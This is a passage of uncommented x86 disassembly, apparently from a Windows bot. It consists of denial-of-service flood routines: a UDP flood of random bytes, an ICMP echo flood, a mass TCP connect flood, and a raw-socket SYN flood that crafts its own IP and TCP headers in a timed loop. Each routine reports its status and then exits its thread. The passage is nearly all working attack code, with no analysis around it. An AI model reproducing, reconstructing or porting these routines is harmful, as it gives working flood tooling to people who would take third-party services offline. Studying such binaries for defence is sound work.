		mov	ecx, 100h
		idiv	ecx
		mov	byte_4E5EC5, dl
		call	_rand
		cdq
		mov	ecx, 0F0h
		push	400h		; Size
		idiv	ecx
		mov	word_4E5EC6, di
		mov	word_4E5ECA, bx
		inc	edx
		mov	word_4E5EC8, dx
		call	_rand
		cdq
		mov	ecx, 0FFh
		idiv	ecx
		push	edx		; Val
		push	offset dword_4E5ECC ; Dst
		call	_memset
		add	esp, 0Ch
		lea	eax, [ebp+Dst]
		push	10h
		push	eax
		push	edi
		push	41Ch
		push	offset byte_4E5EB0
		push	[ebp+var_4]
		call	dword_4E315C	; sendto
		cmp	eax, 0FFFFFFFFh
		jz	short loc_413C0B
		inc	[ebp+arg_0]
		jmp	loc_413AD5
; ---------------------------------------------------------------------------

loc_413C0B:				; CODE XREF: sub_41391E+2E3j
		push	[ebp+var_4]
		call	dword_4E3190	; closesocket
		call	dword_4E308C	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_1B8]
		push	[ebp+arg_0]
		push	eax
		push	offset asc_44CCB8 ; "-"
		lea	eax, [ebp+Dest]
		push	200h		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 18h
		cmp	[ebp+var_24], edi
		jnz	short loc_413C63
		push	edi		; int
		lea	eax, [ebp+Dest]
		push	[ebp+var_28]	; int
		push	eax		; int
		lea	eax, [ebp+Str]
		push	eax		; Str
		push	[ebp+var_1BC]	; int
		call	sub_409D34
		add	esp, 14h

loc_413C63:				; CODE XREF: sub_41391E+323j
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_415C3F
		push	[ebp+var_38]
		call	sub_40BA72
		pop	ecx
		pop	ecx
		push	edi
		call	ds:dword_4F53A0	; ExitThread

loc_413C80:				; CODE XREF: sub_41391E+1C8j
		push	[ebp+var_4]
		call	dword_4E3190	; closesocket
		mov	eax, [ebp+arg_0]
		xor	edx, edx
		imul	eax, 3Ch
		mov	ecx, eax
		shr	eax, 0Ah
		div	[ebp+var_30]
		shr	ecx, 14h
		push	ecx
		push	eax
		lea	eax, [ebp+var_1B8]
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_138]
		push	eax
		lea	eax, [ebp+Dest]
		push	offset asc_44CD00 ; "-"
		push	eax		; Dest
		call	_sprintf
		add	esp, 1Ch
		cmp	[ebp+var_24], edi
		jnz	short loc_413CE8
		push	edi		; int
		lea	eax, [ebp+Dest]
		push	[ebp+var_28]	; int
		push	eax		; int
		lea	eax, [ebp+Str]
		push	eax		; Str
		push	[ebp+var_1BC]	; int
		call	sub_409D34
		add	esp, 14h

loc_413CE8:				; CODE XREF: sub_41391E+3A8j
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_415C3F
		push	[ebp+var_38]
		call	sub_40BA72
		pop	ecx
		pop	ecx
		push	edi
		call	ds:dword_4F53A0	; ExitThread
sub_41391E	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413D05	proc near		; DATA XREF: sub_401CC7+5590o

var_10320	= byte ptr -10320h
Dest		= byte ptr -344h
var_144		= dword	ptr -144h
Str		= byte ptr -140h
var_C0		= byte ptr -0C0h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
Dst		= byte ptr -20h
var_18		= dword	ptr -18h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 10320h
		call	__alloca_probe
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	49h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_144]
		rep movsd
		push	1
		pop	edi
		mov	[eax+120h], edi
		call	dword_4E3080	; IcmpCreateFile
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+var_C0]
		push	eax
		call	dword_4E3138	; inet_addr
		mov	esi, eax
		xor	ebx, ebx
		xor	eax, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_413D60
		lea	eax, [ebp+var_C0]
		push	eax
		call	dword_4E317C	; gethostbyname
		cmp	eax, ebx
		jz	short loc_413D66

loc_413D60:				; CODE XREF: sub_413D05+48j
		cmp	[ebp+arg_0], 0FFFFFFFFh
		jnz	short loc_413DC3

loc_413D66:				; CODE XREF: sub_413D05+59j
		lea	eax, [ebp+var_C0]
		push	eax
		lea	eax, [ebp+Dest]
		push	offset asc_44CD4C ; "-"
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		cmp	[ebp+var_28], ebx
		jnz	short loc_413DA6
		push	ebx		; int
		lea	eax, [ebp+Dest]
		push	[ebp+var_2C]	; int
		push	eax		; int
		lea	eax, [ebp+Str]
		push	eax		; Str
		push	[ebp+var_144]	; int
		call	sub_409D34
		add	esp, 14h

loc_413DA6:				; CODE XREF: sub_413D05+7Fj
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_415C3F
		push	[ebp+var_30]
		call	sub_40BA72
		pop	ecx
		pop	ecx
		push	edi
		call	ds:dword_4F53A0	; ExitThread

loc_413DC3:				; CODE XREF: sub_413D05+5Fj
		cmp	eax, ebx
		jz	short loc_413DD3
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_4], eax
		jmp	short loc_413DD6
; ---------------------------------------------------------------------------

loc_413DD3:				; CODE XREF: sub_413D05+C0j
		mov	[ebp+var_4], esi

loc_413DD6:				; CODE XREF: sub_413D05+CCj
		push	1Ch		; Size
		lea	eax, [ebp+Dst]
		push	ebx		; Val
		push	eax		; Dst
		call	_memset
		or	[ebp+var_18], 0FFFFFFFFh
		mov	eax, 0FFDCh
		add	esp, 0Ch
		cmp	[ebp+var_3C], eax
		jle	short loc_413DF6
		mov	[ebp+var_3C], eax

loc_413DF6:				; CODE XREF: sub_413D05+ECj
		cmp	[ebp+var_38], edi
		jge	short loc_413DFE
		mov	[ebp+var_38], edi

loc_413DFE:				; CODE XREF: sub_413D05+F4j
		xor	esi, esi
		cmp	[ebp+var_40], ebx
		jle	short loc_413E2B

loc_413E05:				; CODE XREF: sub_413D05+124j
		push	[ebp+var_38]
		lea	eax, [ebp+Dst]
		push	1Ch
		push	eax
		push	ebx
		lea	eax, [ebp+var_10320]
		push	[ebp+var_3C]
		push	eax
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	dword_4E3010	; IcmpSendEcho
		inc	esi
		cmp	esi, [ebp+var_40]
		jl	short loc_413E05

loc_413E2B:				; CODE XREF: sub_413D05+FEj
		push	[ebp+arg_0]
		call	dword_4E31B0	; IcmpCloseHandle
		lea	eax, [ebp+var_C0]
		push	eax
		lea	eax, [ebp+Dest]
		push	offset asc_44CD74 ; "-"
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		cmp	[ebp+var_28], ebx
		jnz	short loc_413E74
		push	ebx		; int
		lea	eax, [ebp+Dest]
		push	[ebp+var_2C]	; int
		push	eax		; int
		lea	eax, [ebp+Str]
		push	eax		; Str
		push	[ebp+var_144]	; int
		call	sub_409D34
		add	esp, 14h

loc_413E74:				; CODE XREF: sub_413D05+14Dj
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_415C3F
		push	[ebp+var_30]
		call	sub_40BA72
		pop	ecx
		pop	ecx
		push	ebx
		call	ds:dword_4F53A0	; ExitThread
sub_413D05	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413E91	proc near		; DATA XREF: sub_401CC7+57DCo

var_10311	= byte ptr -10311h
var_10310	= byte ptr -10310h
Dest		= byte ptr -334h
var_134		= dword	ptr -134h
Str		= byte ptr -130h
var_B0		= byte ptr -0B0h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
Dst		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 10310h
		call	__alloca_probe
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	49h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_134]
		rep movsd
		push	1
		pop	esi
		mov	[eax+120h], esi
		call	ds:dword_4F537C	; GetTickCount
		push	eax		; Seed
		call	_srand
		pop	ecx
		push	11h
		push	2
		push	2
		call	dword_4E3178	; socket
		mov	ebx, eax
		xor	edi, edi
		push	10h		; Size
		lea	eax, [ebp+Dst]
		push	edi		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		lea	eax, [ebp+var_B0]
		mov	[ebp+Dst], 2
		push	eax
		call	dword_4E3138	; inet_addr
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jnz	short loc_413F76
		lea	eax, [ebp+var_B0]
		push	eax
		call	dword_4E317C	; gethostbyname
		cmp	eax, edi
		jnz	short loc_413F6F
		lea	eax, [ebp+var_B0]
		push	eax
		lea	eax, [ebp+Dest]
		push	offset asc_44CDA0 ; "-"
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		cmp	[ebp+var_18], edi
		jnz	short loc_413F52
		push	edi		; int
		lea	eax, [ebp+Dest]
		push	[ebp+var_1C]	; int
		push	eax		; int
		lea	eax, [ebp+Str]
		push	eax		; Str
		push	[ebp+var_134]	; int
		call	sub_409D34
		add	esp, 14h

loc_413F52:				; CODE XREF: sub_413E91+9Fj
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_415C3F
		push	[ebp+var_20]
		call	sub_40BA72
		pop	ecx
		pop	ecx
		push	esi
		call	ds:dword_4F53A0	; ExitThread

loc_413F6F:				; CODE XREF: sub_413E91+7Fj
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		jmp	short loc_413F79
; ---------------------------------------------------------------------------

loc_413F76:				; CODE XREF: sub_413E91+6Ej
		lea	eax, [ebp+arg_0]

loc_413F79:				; CODE XREF: sub_413E91+E3j
		mov	eax, [eax]
		cmp	[ebp+var_24], edi
		mov	[ebp+var_C], eax
		jnz	short loc_413F94
		call	_rand
		cdq
		mov	ecx, 0FFDCh
		idiv	ecx
		inc	edx
		push	edx
		jmp	short loc_413F97
; ---------------------------------------------------------------------------

loc_413F94:				; CODE XREF: sub_413E91+F0j
		push	[ebp+var_24]

loc_413F97:				; CODE XREF: sub_413E91+101j
		call	dword_4E30F8	; htons
		cmp	[ebp+var_24], esi
		mov	[ebp+var_E], ax
		jge	short loc_413FA9
		mov	[ebp+var_24], esi

loc_413FA9:				; CODE XREF: sub_413E91+113j
		mov	eax, 0FFFFh
		cmp	[ebp+var_24], eax
		jle	short loc_413FB6
		mov	[ebp+var_24], eax

loc_413FB6:				; CODE XREF: sub_413E91+120j
		mov	eax, [ebp+var_30]
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		cmp	[ebp+var_28], edi
		mov	[ebp+var_30], eax
		jnz	short loc_413FCA
		mov	[ebp+var_28], esi

loc_413FCA:				; CODE XREF: sub_413E91+134j
		xor	esi, esi
		cmp	[ebp+var_2C], edi
		jle	short loc_413FEB

loc_413FD1:				; CODE XREF: sub_413E91+158j
		call	_rand
		cdq
		mov	ecx, 0FFh
		idiv	ecx
		inc	esi
		cmp	esi, [ebp+var_2C]
		mov	[ebp+esi+var_10311], dl
		jl	short loc_413FD1

loc_413FEB:				; CODE XREF: sub_413E91+13Ej
					; sub_413E91+19Cj ...
		mov	eax, [ebp+var_30]
		dec	[ebp+var_30]
		test	eax, eax
		jle	short loc_41404A
		push	0Bh
		pop	esi

loc_413FF8:				; CODE XREF: sub_413E91+197j
		lea	eax, [ebp+Dst]
		push	10h
		push	eax
		push	edi
		call	_rand
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		mov	eax, [ebp+var_2C]
		sub	eax, edx
		push	eax
		lea	eax, [ebp+var_10310]
		push	eax
		push	ebx
		call	dword_4E315C	; sendto
		push	[ebp+var_28]
		call	ds:dword_4F534C	; Sleep
		dec	esi
		jnz	short loc_413FF8
		cmp	[ebp+var_24], edi
		jnz	short loc_413FEB
		call	_rand
		cdq
		mov	ecx, 0FFDCh
		idiv	ecx
		inc	edx
		push	edx
		call	dword_4E30F8	; htons
		mov	[ebp+var_E], ax
		jmp	short loc_413FEB
; ---------------------------------------------------------------------------

loc_41404A:				; CODE XREF: sub_413E91+162j
		lea	eax, [ebp+var_B0]
		push	eax
		lea	eax, [ebp+Dest]
		push	offset asc_44CDC8 ; "-"
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		cmp	[ebp+var_18], edi
		jnz	short loc_41408A
		push	edi		; int
		lea	eax, [ebp+Dest]
		push	[ebp+var_1C]	; int
		push	eax		; int
		lea	eax, [ebp+Str]
		push	eax		; Str
		push	[ebp+var_134]	; int
		call	sub_409D34
		add	esp, 14h

loc_41408A:				; CODE XREF: sub_413E91+1D7j
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_415C3F
		push	[ebp+var_20]
		call	sub_40BA72
		pop	ecx
		pop	ecx
		push	edi
		call	ds:dword_4F53A0	; ExitThread
sub_413E91	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4140A7	proc near		; DATA XREF: sub_401CC7+4E6Do

Dest		= byte ptr -414h
var_214		= dword	ptr -214h
var_210		= dword	ptr -210h
var_190		= byte ptr -190h
var_110		= dword	ptr -110h
Str		= byte ptr -90h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 414h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 85h
		mov	esi, eax
		lea	edi, [ebp+var_214]
		rep movsd
		mov	dword ptr [eax+210h], 1
		lea	eax, [ebp+var_110]
		push	eax		; int
		lea	eax, [ebp+var_190]
		push	eax		; Str
		lea	eax, [ebp+var_210]
		push	eax		; int
		call	sub_414208
		add	esp, 0Ch
		push	eax
		lea	eax, [ebp+Dest]
		push	offset asc_44CDF4 ; "-"
		push	eax		; Dest
		call	_sprintf
		xor	esi, esi
		add	esp, 0Ch
		cmp	[ebp+var_8], esi
		jnz	short loc_414127
		push	esi		; int
		lea	eax, [ebp+Dest]
		push	[ebp+var_C]	; int
		push	eax		; int
		lea	eax, [ebp+Str]
		push	eax		; Str
		push	[ebp+var_214]	; int
		call	sub_409D34
		add	esp, 14h

loc_414127:				; CODE XREF: sub_4140A7+5Ej
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_415C3F
		push	[ebp+var_10]
		call	sub_40BA72
		pop	ecx
		pop	ecx
		push	esi
		call	ds:dword_4F53A0	; ExitThread
		pop	edi
		pop	esi
sub_4140A7	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414146	proc near		; CODE XREF: sub_414208+27p

var_654		= byte ptr -654h
Dst		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 654h
		push	10h		; Size
		lea	eax, [ebp+Dst]
		push	0		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		mov	[ebp+Dst], 2
		push	[ebp+arg_4]
		call	dword_4E30F8	; htons
		mov	[ebp+var_12], ax
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_8]
		test	eax, eax
		mov	[ebp+var_4], 1
		jle	short loc_414204
		push	ebx
		push	esi
		push	edi
		mov	[ebp+arg_4], eax
		mov	edi, 190h

loc_414191:				; CODE XREF: sub_414146+B9j
		lea	esi, [ebp+var_654]
		mov	ebx, edi

loc_414199:				; CODE XREF: sub_414146+7Aj
		push	0
		push	1
		push	2
		call	ds:dword_4F553C	; socket
		cmp	eax, 0FFFFFFFFh
		mov	[esi], eax
		jz	short loc_4141BC
		lea	ecx, [ebp+var_4]
		push	ecx
		push	8004667Eh
		push	eax
		call	ds:dword_4F5514	; ioctlsocket

loc_4141BC:				; CODE XREF: sub_414146+64j
		add	esi, 4
		dec	ebx
		jnz	short loc_414199
		lea	esi, [ebp+var_654]
		mov	ebx, edi

loc_4141CA:				; CODE XREF: sub_414146+96j
		lea	eax, [ebp+Dst]
		push	10h
		push	eax
		push	dword ptr [esi]
		call	ds:dword_4F5530	; connect
		add	esi, 4
		dec	ebx
		jnz	short loc_4141CA
		push	64h
		call	ds:dword_4F534C	; Sleep
		lea	esi, [ebp+var_654]
		mov	ebx, edi

loc_4141EE:				; CODE XREF: sub_414146+B4j
		push	dword ptr [esi]
		call	ds:dword_4F5538	; closesocket
		add	esi, 4
		dec	ebx
		jnz	short loc_4141EE
		dec	[ebp+arg_4]
		jnz	short loc_414191
		pop	edi
		pop	esi
		pop	ebx

loc_414204:				; CODE XREF: sub_414146+3Ej
		xor	eax, eax
		leave
		retn
sub_414146	endp


; =============== S U B	R O U T	I N E =======================================


; int __cdecl sub_414208(int,char *Str,int)

sub_414208	proc near		; CODE XREF: sub_4140A7+3Cp

arg_0		= dword	ptr  4
Str		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		push	edi
		push	[esp+0Ch+arg_0]
		call	sub_40AE55
		push	[esp+10h+Str]	; Str
		mov	edi, eax
		call	_atoi
		push	[esp+14h+arg_8]	; Str
		mov	ebx, eax
		call	_atoi
		mov	esi, eax
		push	esi
		push	ebx
		push	edi
		call	sub_414146
		add	esp, 18h
		test	eax, eax
		jnz	short loc_41423E
		push	1
		pop	eax

loc_41423E:				; CODE XREF: sub_414208+31j
		cdq
		mov	ecx, 3E8h
		pop	edi
		idiv	ecx
		cdq
		idiv	esi
		pop	esi
		pop	ebx
		retn
sub_414208	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41424D	proc near		; DATA XREF: sub_401CC7+64CAo

Dest		= byte ptr -414h
var_214		= dword	ptr -214h
var_210		= dword	ptr -210h
var_190		= byte ptr -190h
var_110		= dword	ptr -110h
Str		= byte ptr -90h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 414h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 85h
		mov	esi, eax
		lea	edi, [ebp+var_214]
		rep movsd
		mov	dword ptr [eax+210h], 1
		lea	eax, [ebp+var_110]
		push	eax		; int
		lea	eax, [ebp+var_190]
		push	eax		; Str
		lea	eax, [ebp+var_210]
		push	eax		; int
		call	sub_41459E
		add	esp, 0Ch
		push	eax
		lea	eax, [ebp+Dest]
		push	offset asc_44CE20 ; "-"
		push	eax		; Dest
		call	_sprintf
		xor	esi, esi
		add	esp, 0Ch
		cmp	[ebp+var_8], esi
		jnz	short loc_4142CD
		push	esi		; int
		lea	eax, [ebp+Dest]
		push	[ebp+var_C]	; int
		push	eax		; int
		lea	eax, [ebp+Str]
		push	eax		; Str
		push	[ebp+var_214]	; int
		call	sub_409D34
		add	esp, 14h

loc_4142CD:				; CODE XREF: sub_41424D+5Ej
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_415C3F
		push	[ebp+var_10]
		call	sub_40BA72
		pop	ecx
		pop	ecx
		push	esi
		call	ds:dword_4F53A0	; ExitThread
		pop	edi
		pop	esi
sub_41424D	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4142EC	proc near		; CODE XREF: sub_41459E+3Cp

var_284		= byte ptr -284h
Dest		= byte ptr -0F4h
var_B4		= byte ptr -0B4h
var_B3		= byte ptr -0B3h
var_A0		= byte ptr -0A0h
var_94		= byte ptr -94h
var_8C		= byte ptr -8Ch
Src		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= byte ptr -70h
var_6F		= byte ptr -6Fh
var_6E		= word ptr -6Eh
var_58		= dword	ptr -58h
Dst		= word ptr -50h
var_4E		= word ptr -4Eh
var_4C		= dword	ptr -4Ch
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= word ptr -34h
var_32		= word ptr -32h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= byte ptr -28h
var_27		= byte ptr -27h
var_26		= word ptr -26h
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= byte ptr -20h
var_1E		= word ptr -1Eh
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 284h
		push	ebx
		push	edi
		push	0Eh
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_B3]
		mov	[ebp+var_B4], bl
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_284]
		push	eax
		push	202h
		call	dword_4E3068	; WSAStartup
		test	eax, eax
		jz	short loc_41432C
		xor	eax, eax
		jmp	loc_41459A
; ---------------------------------------------------------------------------

loc_41432C:				; CODE XREF: sub_4142EC+37j
		push	1
		pop	edi
		push	edi
		push	ebx
		push	ebx
		push	0FFh
		push	3
		push	2
		call	dword_4E319C	; WSASocketA
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_C], eax
		jz	loc_414592
		push	esi
		lea	ecx, [ebp+var_38]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp+var_38], edi
		call	dword_4E30D8	; setsockopt
		cmp	eax, 0FFFFFFFFh
		jz	loc_414588
		push	10h		; Size
		lea	eax, [ebp+Dst]
		push	ebx		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		mov	[ebp+Dst], 2
		push	[ebp+arg_8]
		call	dword_4E30F8	; htons
		mov	esi, [ebp+arg_0]
		push	28h
		mov	[ebp+var_4E], ax
		mov	[ebp+var_4C], esi
		mov	[ebp+var_20], 45h
		call	dword_4E30F8	; htons
		push	[ebp+arg_8]
		mov	[ebp+var_1E], ax
		mov	[ebp+var_1C], di
		mov	[ebp+var_1A], bx
		mov	[ebp+var_18], 80h
		mov	[ebp+var_17], 6
		mov	[ebp+var_16], bx
		mov	[ebp+var_10], esi
		call	dword_4E30F8	; htons
		push	4000h
		mov	[ebp+var_32], ax
		mov	[ebp+var_2C], ebx
		mov	[ebp+var_28], 50h
		mov	[ebp+var_27], 2
		call	dword_4E30F8	; htons
		mov	[ebp+var_26], ax
		lea	eax, [ebp+var_40]
		push	eax
		mov	[ebp+var_22], bx
		mov	[ebp+arg_8], ebx
		call	ds:dword_4F540C	; QueryPerformanceFrequency
		lea	eax, [ebp+var_8]
		push	eax
		call	ds:dword_4F5408	; QueryPerformanceCounter
		push	[ebp+var_3C]
		mov	eax, [ebp+arg_C]
		cdq
		push	[ebp+var_40]
		push	edx
		push	eax
		call	__allmul
		add	eax, [ebp+var_8]
		mov	esi, edx
		adc	esi, [ebp+var_4]
		mov	[ebp+var_58], eax

loc_414417:				; CODE XREF: sub_4142EC+25Dj
					; sub_4142EC+26Bj
		mov	[ebp+var_24], bx
		call	_rand
		cdq
		mov	ecx, 3E9h
		idiv	ecx
		add	edx, 3E8h
		push	edx
		call	dword_4E30F8	; htons
		mov	[ebp+var_34], ax
		call	_rand
		mov	edi, eax
		shl	edi, 10h
		call	_rand
		or	edi, eax
		push	edi
		call	dword_4E30F8	; htons
		movzx	eax, ax
		mov	[ebp+var_30], eax
		mov	eax, [ebp+arg_4]
		inc	[ebp+arg_4]
		push	eax
		call	dword_4E30F4	; htonl
		push	14h
		mov	[ebp+var_14], eax
		mov	eax, [ebp+var_10]
		pop	edi
		push	edi
		mov	[ebp+var_74], eax
		mov	[ebp+var_70], bl
		mov	[ebp+var_6F], 6
		call	dword_4E30F8	; htons
		mov	[ebp+var_6E], ax
		mov	eax, [ebp+var_14]
		mov	[ebp+Src], eax
		lea	eax, [ebp+Src]
		push	20h		; Size
		push	eax		; Src
		lea	eax, [ebp+var_B4]
		push	eax		; Dst
		call	_memcpy
		lea	eax, [ebp+var_34]
		push	edi		; Size
		push	eax		; Src
		lea	eax, [ebp+var_94]
		push	eax		; Dst
		call	_memcpy
		lea	eax, [ebp+var_B4]
		push	34h
		push	eax
		call	sub_40AFCA
		mov	[ebp+var_24], ax
		lea	eax, [ebp+var_20]
		push	edi		; Size
		push	eax		; Src
		lea	eax, [ebp+var_B4]
		push	eax		; Dst
		call	_memcpy
		lea	eax, [ebp+var_34]
		push	edi		; Size
		push	eax		; Src
		lea	eax, [ebp+var_A0]
		push	eax		; Dst
		call	_memcpy
		push	4		; Size
		lea	eax, [ebp+var_8C]
		push	ebx		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 44h
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		call	sub_40AFCA
		mov	[ebp+var_16], ax
		lea	eax, [ebp+var_20]
		push	edi		; Size
		push	eax		; Src
		lea	eax, [ebp+var_B4]
		push	eax		; Dst
		call	_memcpy
		add	esp, 14h
		lea	eax, [ebp+Dst]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		push	[ebp+var_C]
		call	dword_4E315C	; sendto
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41455C
		add	[ebp+arg_8], eax
		lea	eax, [ebp+var_8]
		push	eax
		call	ds:dword_4F5408	; QueryPerformanceCounter
		mov	eax, [ebp+var_4]
		cmp	eax, esi
		jg	short loc_414585
		jl	loc_414417
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+var_58]
		jnb	short loc_414585
		jmp	loc_414417
; ---------------------------------------------------------------------------

loc_41455C:				; CODE XREF: sub_4142EC+247j
		call	dword_4E308C	; WSAGetLastError
		push	eax
		lea	eax, [ebp+Dest]
		push	offset asc_44CE48 ; "-"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_415C3F
		add	esp, 10h
		jmp	short loc_414588
; ---------------------------------------------------------------------------

loc_414585:				; CODE XREF: sub_4142EC+25Bj
					; sub_4142EC+269j
		mov	ebx, [ebp+arg_8]

loc_414588:				; CODE XREF: sub_4142EC+78j
					; sub_4142EC+297j
		push	[ebp+var_C]
		call	dword_4E3190	; closesocket
		pop	esi

loc_414592:				; CODE XREF: sub_4142EC+5Bj
		call	dword_4E3050	; WSACleanup
		mov	eax, ebx

loc_41459A:				; CODE XREF: sub_4142EC+3Bj
		pop	edi
		pop	ebx
		leave
		retn
sub_4142EC	endp


; =============== S U B	R O U T	I N E =======================================


; int __cdecl sub_41459E(int,char *Str,int)

sub_41459E	proc near		; CODE XREF: sub_41424D+3Cp

arg_0		= dword	ptr  4
Str		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		push	edi
		push	[esp+0Ch+arg_0]
		call	sub_40AE55
		push	[esp+10h+Str]	; Str
		mov	esi, eax
		call	_atoi
		push	[esp+14h+arg_8]	; Str
		mov	ebx, eax
		call	_atoi
		mov	edi, eax
		call	_rand
		cdq
		mov	ecx, 200h
		push	edi
		idiv	ecx
		push	ebx
		lea	eax, [edx+esi+100h]
		push	eax
		push	esi
		call	sub_4142EC
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_4145E9
		push	1
		pop	eax

loc_4145E9:				; CODE XREF: sub_41459E+46j
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		cdq
		idiv	edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41459E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4145F8	proc near		; DATA XREF: sub_401CC7+6EC5o

Dest		= byte ptr -394h
var_194		= dword	ptr -194h
var_190		= byte ptr -190h
Str		= byte ptr -110h
var_90		= byte ptr -90h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 394h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	65h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_194]
		rep movsd
		mov	dword ptr [eax+190h], 1
		lea	eax, [ebp+Str]
		push	eax		; Str
		call	_atoi
		pop	ecx
		push	eax
		lea	eax, [ebp+var_190]
		push	eax
		call	dword_4E3138	; inet_addr
		push	eax
		call	sub_41469B
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+Dest]
		push	offset asc_44CE68 ; "-"
		push	eax		; Dest
		call	_sprintf
		xor	esi, esi
		add	esp, 0Ch
		cmp	[ebp+var_8], esi
		jnz	short loc_41467C
		push	esi		; int
		lea	eax, [ebp+Dest]
		push	[ebp+var_C]	; int
		push	eax		; int
		lea	eax, [ebp+var_90]
		push	eax		; Str
		push	[ebp+var_194]	; int
		call	sub_409D34
		add	esp, 14h

loc_41467C:				; CODE XREF: sub_4145F8+62j
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_415C3F
		push	[ebp+var_10]
		call	sub_40BA72
		pop	ecx
		pop	ecx
		push	esi
		call	ds:dword_4F53A0	; ExitThread
		pop	edi
		pop	esi
sub_4145F8	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

